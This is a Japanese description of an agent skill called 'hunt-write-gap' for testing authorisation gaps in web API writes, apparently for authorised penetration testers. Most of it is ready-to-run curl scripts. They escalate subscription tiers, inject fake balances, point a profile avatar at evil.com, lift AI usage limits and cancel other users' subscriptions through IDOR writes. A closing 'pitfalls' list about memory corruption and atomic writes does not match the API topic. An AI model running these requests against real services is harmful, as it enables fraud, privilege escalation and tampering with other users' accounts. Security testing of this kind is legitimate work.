hunt-write-gap について
hunt-write-gap は、Web API の書き込み操作がアクセス制御を回避できるか調べる、許可を得たテスター向けのセキュリティ検証スキルです。エンドポイントの特定、特権フィールドや他ユーザーへの書き込みテスト、変更の検証を扱います。
主な機能
- 01書き込み可能な API エンドポイントの特定
- 02特権フィールド変更のテスト
- 03他ユーザーへの書き込み確認
- 04再読み込みによる永続化の検証
- 05影響と誤検知の説明
活用シーン
- 01SaaS API の書き込み権限の監査
- 02サブスクリプション、ロール、残高の改変リスク評価
- 03行レベルセキュリティによる他ユーザー変更の防止確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-write-gapインストール後、Claude Code で/hunt-write-gapを入力して読み込まれたか確認します。
詳細
使用する場面
対象への認証済みアクセスがあり、自分のデータ(プロフィール、設定、レコード)は読み取れるものの、認可レベルを超えてデータを変更できるかテストする必要がある場合です。これは Supabase を利用した SaaS で最もよく見られるパターンで、Firebase、カスタム REST API、GraphQL バックエンドでも増えています。
このパターン:GET /resource は自分のデータのみを返します(RLS/認証は機能しています)。一方、PATCH /resource では、ティア、ロール、残高、サブスクリプションのステータスなど、あらゆるデータを変更できます。
フェーズ 1 — 書き込み可能なエンドポイントを特定する
事前の調査(スキーマの列挙、JS バンドルの分析)から、書き込みメソッドを受け付けるエンドポイントの一覧を作成します。
TARGET="https://api.target.com"
TOKEN="<your_auth_token>"
# Test common write methods on all discovered endpoints
for ep in users subscribers profiles accounts settings; do
for method in PATCH PUT POST; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \
"${TARGET}/${ep}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" -d '{}' 2>/dev/null)
if [ "$code" != "404" ] && [ "$code" != "405" ]; then
echo " $method /${ep}: HTTP $code"
fi
done
done
200/400 のレスポンスは、エンドポイントが存在し、書き込みを受け付けることを意味します。404 は存在しないことを、405 はメソッドが間違っていることを意味します。
フェーズ 2 — 書き込み操作をテストする
書き込み可能と確認できた各エンドポイントで、権限が必要なフィールドを変更できるかテストします。
# Tier/role escalation
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"tier_id":"<PRO_TIER_ID>","subscribed":true}'
# Balance manipulation
curl --max-time 30 --connect-timeout 10 -sk -X POST "${TARGET}/movements" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"test","amount":999999,"type":"income"}'
# Profile tampering
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/profiles?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"full_name":"HACKED","avatar_url":"https://evil.com/pwned.png"}'
# AI/rate limits bypass
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/ai_usage_limits?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"document_analysis_limit":99999}'
フェーズ 3 — 他のユーザーへの書き込みをテストする(IDOR 書き込み)
自分のデータを書き込み可能と確認したら、他のユーザーのデータを変更できるかテストします。
# Try to write with a filter targeting other users
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=neq.${MY_USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"subscribed":false}' # Try to cancel others' subscriptions
# Response: [] (empty = RLS blocked cross-user write — GOOD)
# Response: [{...}] (data returned = RLS MISSING for cross-user write — CRITICAL)
実地で確認されたパターン
| パターン | エンドポイント | 影響 |
|---|---|---|
| ティアのアップグレード | PATCH /subscribers | 無料から Pro への変更、ライフタイムサブスクリプションの取得 |
| 残高の注入 | POST /movements | 架空の収入、分析データの破損 |
| プロフィールの乗っ取り | PATCH /profiles | 名前/アバターが変更され、フィッシングに悪用される可能性 |
| AI 制限の回避 | PATCH /ai_usage_limits | AI 処理が無制限になる |
| レート制限の解除 | PATCH /rate_limits | すべての使用量制限を回避 |
| 設定の改ざん | PATCH /settings | アプリのグローバル設定を変更 |
検証
- 書き込み制御の欠落を確認:PATCH/POST が、変更されたデータをレスポンス本文に含む 200 を返します。同じリソースに GET を実行して確認します。
- 保護済み:401/403 を返すか、認可されていないフィールドを黙って破棄します。
- 誤検知:エンドポイントはリクエストを受け付けるものの、変更が実際には永続化されません(GET で確認します)。
次の手順
- 書き込み制御の欠落を確認した場合 → CRITICAL として報告します(権限昇格+ビジネスロジックの回避)
- 他のユーザーへの書き込みが可能な場合 → CRITICAL として報告します(IDOR 書き込み=全ユーザーのアカウント乗っ取り)
- 自分のデータにしか書き込めない場合 → 自分自身のデータ変更による経済的影響を
hunt-business-logicで確認します
検証
以下のセルフテストを実行して、書き込み制御の欠落を調査する準備ができていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します。
grep -q "name: hunt-write-gap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリが設定されていることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つすべてのテストで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- 悪用を伴わない任意のアドレスへの書き込みプリミティブ — 任意のアドレスに任意のデータを書き込めること自体が発見事項です。その書き込みで何が実現するかを示す必要があります。
- 競合状態による書き込みとアトミックな書き込み — 書き込みがアトミック(単一命令)である場合、悪用できない可能性があります。競合が発生する時間幅が必要です。
- 実行を伴わないファイル書き込み — ディスクへの書き込みはプリミティブです。書き込んだ内容を実行できる必要があります(Web シェル、cron ジョブ、DLL ハイジャックなど)。
- 制御を伴わないメモリー破損の書き込み — サーバーをクラッシュさせても発見事項にはなりません。影響を予測できる、制御された書き込みが必要です。